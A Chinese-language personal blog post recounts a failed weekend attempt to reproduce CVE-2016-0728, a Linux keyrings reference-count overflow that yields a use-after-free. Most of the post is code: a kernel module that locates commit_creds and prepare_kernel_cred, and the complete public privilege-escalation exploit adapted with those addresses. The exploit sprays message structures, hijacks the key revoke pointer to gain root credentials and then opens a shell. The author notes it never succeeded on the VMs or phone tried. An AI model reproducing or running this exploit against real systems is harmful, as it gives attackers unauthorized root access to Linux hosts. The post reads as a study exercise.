看看CVE-2016-0728

Published on 2016 - 01 - 27

上周末看了下cve-2016-0728 linux本地提权漏洞,今天记录一下。
这个漏洞主要是因为keyrings内核组件的引用泄露引起的。
此内核对象采用一个32位无符号整数做引用计数,但在引用计数溢出的时候没有进行合理的错误处理,所以当对此对象引用到达4G时会使引用计数回到0,内核在检测到此引用计数为0时会析构对象释放空间。而此时r3程序还保留有内核对象的引用,如此就形成了一个UAF漏洞。
印象中这种整形溢出造成的严重漏洞还真不少,本着实践出真知的态度实践一下。
原文中提到:
“Addresses of commit_creds and prepare_kernel_cred functions are static and can be determined per Linux kernel version/android device.”
所以先写了个内核模块获取这俩函数的地址:

#include <linux/module.h>
#include <linux/init.h>
MODULE_LICENSE("GPL");
static int __init find_symbol_init(void);
static void __exit find_symbol_exit(void);
//模块加载函数:
int __init find_symbol_init(void)
{
    const char * name1= "prepare_kernel_cred";  //待查找的内核符号的名字
    const char * name2= "commit_creds";     //待查找的内核符号的名字
    struct kernel_symbol * ksymbol ;        // 用于接收测试函数返回值
    struct module * owner;                  // 内核符号所属的模块
    const unsigned long *crc;
    int i=0;
    const char *name[2]={name1,name2};
    for(i=0;i<2;++i){
        bool gplok = true;                      // 模块支持GPL 许可
        bool warn = true;                       // 允许输出警告信息
        ksymbol = find_symbol(*(name+i),&owner,&crc,gplok,warn);     //调用待测试函数
        if( ksymbol != NULL )
        {
            /*输出查找到的内核符号在内存中的地址*/
            printk("<0>ksymbol->value : %lx\n",ksymbol->value);
            printk("<0>ksymbol->name : %s\n",ksymbol->name);   //输出内核符号名字
        }
        else
            printk("<0>Failed to find symbol %s\n", *(name+i));
        if( owner != NULL )
        {
            /*输出内核符号所属的模块的名字*/
            printk("<0> owner->name : %s\n",owner->name);
        }
        if( crc != NULL )
        {
            /*  输出内核符号的crc 值所在的地址*/
            printk("<0>*crc : %lx\n",*crc);
        }
    }
    return 0;
}

//模块退出函数:
void __exit find_symbol_exit(void)
{
    printk("<0>module exit ok!\n");
}
//模块加载、退出函数调用:
module_init(find_symbol_init);
module_exit(find_symbol_exit);

Google了一番将其编译成ko文件,再

# 加载
insmod find_symbol.ko
# 卸载
rmmod find_symbol
# 查看输出
dmesg

得到如下内容:

根据获取到的两个函数地址修改原文中的代码:

/* https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f */
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff810957e0)  //got from find_symbol  //(0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81095ae0)  //got from find_symbol  //(0xffffffff81094550)
struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};
void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
    const char *keyring_name;
    size_t i = 0;
    unsigned long int l = 0x100000000/2;
    key_serial_t serial = -1;
    pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    struct { 
        long mtype;
        char mtext[STRUCT_LEN];
    } msg = {0x4141414141414141, {0}};
    int msqid;
    if (argc != 2) {
        puts("usage: ./keys <key_name>");
        return 1;
    }
    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    my_key_type = malloc(sizeof(*my_key_type));
    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));
    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }
    keyring_name = argv[1];
    /* Set the new session keyring before we start */
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
    puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        /*此处为个人添加,可动态显示内核对象的引用进度*/
        if (i<0xffffff00 && i % 429496==0){
            double tmp=i*1.0/42949670;
            printf("\r\x1b[KProgress: %3.1lf%%\r",tmp);
            fflush(stdout);
        }
        /***************************************/
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }
        if (pid == 0) {
            sleep(2);
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }
    puts("finished forking");
    sleep(5);
    /* call userspace_revoke from kernel */
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
        perror("keyctl_revoke");
    }
    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);
    return 0;
}

编译,运行

此时查看/proc/keys的内容可以看到keyring的引用计数在变化(ubuntu14下是无规则变动O_O,其他系统正常)

经过漫长的等待,得到如下结果:

并没有得到root。。。

分别在ubuntu14、centos6.5、centos7.0、kali等平台的虚拟机里尝试,都没有成功提权。。。猜测是因为虚拟机内存的释放和分配受其他因素影响比较厉害,一直无法使目标函数指针分配到正确的位置。一怒之下把函数地址分别改成0x0和0x1,出现 Ubuntu发生严重错误需要重启 的对话框,看起来是有被调用的样子。。
另,根据google的一份对应arm上安卓的代码(用syscall代替了一些api)编译了安卓上的poc,尝试在CM12下的一加手机上运行:

算了下,按这速度估计得跑个个把月。
(另,第二天解锁手机发现进度在0.018%,估计有生之年跑不完了 T_T )。

由于实践失败并没有出真知,因此度过了一个不愉快的周末。。。